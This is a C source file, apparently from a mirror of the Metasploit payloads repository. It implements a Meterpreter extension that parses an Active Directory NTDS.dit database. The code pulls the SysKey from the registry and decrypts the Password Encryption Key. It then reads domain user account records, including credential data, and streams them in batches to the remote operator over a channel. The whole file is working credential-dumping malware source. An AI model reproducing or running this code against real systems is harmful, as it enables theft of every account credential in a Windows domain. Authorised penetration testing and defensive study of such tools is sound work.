1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-24 18:16:24 +01:00
2016-03-14 20:23:44 +10:00

229 lines
6.9 KiB
C
Executable File

/*!
* @file ntds.c
* @brief NTDS channel interface
*/
#include "extapi.h"
#define JET_VERSION 0x0501
#include <inttypes.h>
#include <WinCrypt.h>
#include "syskey.h"
#include "ntds_decrypt.h"
#include "ntds_jet.h"
#include "ntds.h"
/*! @brief Typedef for the NTDSContext struct. */
typedef struct
{
struct jetState *ntdsState;
struct ntdsColumns *accountColumns;
struct decryptedPEK *pekDecrypted;
} NTDSContext;
// This is the raw NTDS command function. When the remote user
// sends a command request for extapi_ntds_parse, this function fires.
// It calls the setup routines for our Jet Instance, attaches the isntance
// to the NTDS.dit database the user specified, and creates our channel.
// The user interacts with the NTDS database through that channel from that point on.
DWORD ntds_parse(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS;
struct jetState *ntdsState = calloc(1,sizeof(struct jetState));
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH);
// Check if the File exists
if (0xffffffff == GetFileAttributes(filePath)) {
res = 2;
goto out;
}
strncpy_s(ntdsState->ntdsPath, 255, filePath, 254);
// Attempt to get the SysKey from the Registry
unsigned char sysKey[17];
if (!get_syskey(sysKey)) {
res = GetLastError();
goto out;
}
JET_ERR startupStatus = engine_startup(ntdsState);
if (startupStatus != JET_errSuccess) {
res = startupStatus;
goto out;
}
// Start a Session in the Jet Instance
JET_ERR sessionStatus = JetBeginSession(ntdsState->jetEngine, &ntdsState->jetSession, NULL, NULL);
if (sessionStatus != JET_errSuccess) {
JetTerm(ntdsState->jetEngine);
res = sessionStatus;
goto out;
}
JET_ERR openStatus = open_database(ntdsState);
if (openStatus != JET_errSuccess) {
JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL);
JetTerm(ntdsState->jetEngine);
res = openStatus;
goto out;
}
JET_ERR tableStatus = JetOpenTable(ntdsState->jetSession, ntdsState->jetDatabase, "datatable", NULL, 0, JET_bitTableReadOnly | JET_bitTableSequential, &ntdsState->jetTable);
if (tableStatus != JET_errSuccess) {
engine_shutdown(ntdsState);
res = tableStatus;
goto out;
}
// Create the structure for holding all of the Column Definitions we need
struct ntdsColumns *accountColumns = calloc(1, sizeof(struct ntdsColumns));
JET_ERR columnStatus = get_column_info(ntdsState, accountColumns);
if (columnStatus != JET_errSuccess) {
engine_shutdown(ntdsState);
free(accountColumns);
res = columnStatus;
goto out;
}
JET_ERR pekStatus;
struct encryptedPEK *pekEncrypted = calloc(1,sizeof(struct encryptedPEK));
struct decryptedPEK *pekDecrypted = calloc(1,sizeof(struct decryptedPEK));
// Get and Decrypt the Password Encryption Key (PEK)
pekStatus = get_PEK(ntdsState, accountColumns, pekEncrypted);
if (pekStatus != JET_errSuccess) {
res = pekStatus;
free(accountColumns);
free(pekEncrypted);
free(pekDecrypted);
engine_shutdown(ntdsState);
goto out;
}
if (!decrypt_PEK(sysKey, pekEncrypted, pekDecrypted)) {
res = GetLastError();
free(accountColumns);
free(pekEncrypted);
free(pekDecrypted);
engine_shutdown(ntdsState);
goto out;
}
// Set our Cursor on the first User record
JET_ERR cursorStatus = find_first(ntdsState);
if (cursorStatus != JET_errSuccess) {
res = cursorStatus;
free(accountColumns);
free(pekEncrypted);
free(pekDecrypted);
engine_shutdown(ntdsState);
goto out;
}
cursorStatus = next_user(ntdsState, accountColumns);
if (cursorStatus != JET_errSuccess) {
res = cursorStatus;
free(accountColumns);
free(pekEncrypted);
free(pekDecrypted);
engine_shutdown(ntdsState);
goto out;
}
// If we made it this far, it's time to set up our channel
PoolChannelOps chops;
Channel *newChannel;
memset(&chops, 0, sizeof(chops));
NTDSContext *ctx;
// Allocate storage for the NTDS context
if (!(ctx = calloc(1, sizeof(NTDSContext)))) {
res = ERROR_NOT_ENOUGH_MEMORY;
free(accountColumns);
free(pekEncrypted);
free(pekDecrypted);
engine_shutdown(ntdsState);
goto out;
}
ctx->accountColumns = accountColumns;
ctx->ntdsState = ntdsState;
ctx->pekDecrypted = pekDecrypted;
// Initialize the pool operation handlers
chops.native.context = ctx;
chops.native.close = ntds_channel_close;
chops.read = ntds_channel_read;
if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops)))
{
res = ERROR_NOT_ENOUGH_MEMORY;
free(accountColumns);
free(pekEncrypted);
free(pekDecrypted);
engine_shutdown(ntdsState);
goto out;
}
channel_set_type(newChannel, "ntds");
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
out:
packet_transmit_response(res, remote, response);
return ERROR_SUCCESS;
}
// This function reads an individual account record from the database and moves
// the cursor to the next one in the table.
static DWORD ntds_read_into_batch(NTDSContext *ctx, struct ntdsAccount *batchedAccount)
{
DWORD result = ERROR_SUCCESS;
JET_ERR readStatus = JET_errSuccess;
struct ntdsAccount *userAccount = calloc(1, sizeof(struct ntdsAccount));
readStatus = read_user(ctx->ntdsState, ctx->accountColumns, ctx->pekDecrypted, userAccount);
if (readStatus != JET_errSuccess) {
result = readStatus;
}
else {
memcpy(batchedAccount, userAccount, sizeof(struct ntdsAccount));
}
free(userAccount);
return result;
}
// This callback fires when the remote side requests a read from the channel.
// It call ntds_read_into_batch up to 20 times and feeds the results into
// an array which is then written back out into the channel's output buffer
static DWORD ntds_channel_read(Channel *channel, Packet *request,
LPVOID context, LPVOID buffer, DWORD bufferSize, LPDWORD bytesRead)
{
JET_ERR readStatus = JET_errSuccess;
DWORD result = ERROR_SUCCESS;
NTDSContext *ctx = (NTDSContext *)context;
struct ntdsAccount batchedAccounts[20];
DWORD batchSize = 0;
for (int i = 0; i < 20; i++) {
readStatus = ntds_read_into_batch(ctx, &batchedAccounts[i]);
if (readStatus != JET_errSuccess) {
break;
}
batchSize += sizeof(struct ntdsAccount);
next_user(ctx->ntdsState, ctx->accountColumns);
}
memcpy(buffer, batchedAccounts, batchSize);
*bytesRead = batchSize;
return ERROR_SUCCESS;
}
// This callback function is responsible for cleaning up when the channel
// is closed. It shuts down the Jet Engine, and frees up the memory
// for all of the context we have been carrying around.
static DWORD ntds_channel_close(Channel *channel, Packet *request,
LPVOID context)
{
NTDSContext *ctx = (NTDSContext *)context;
engine_shutdown(ctx->ntdsState);
free(ctx->accountColumns);
free(ctx->pekDecrypted);
free(ctx);
return ERROR_SUCCESS;
}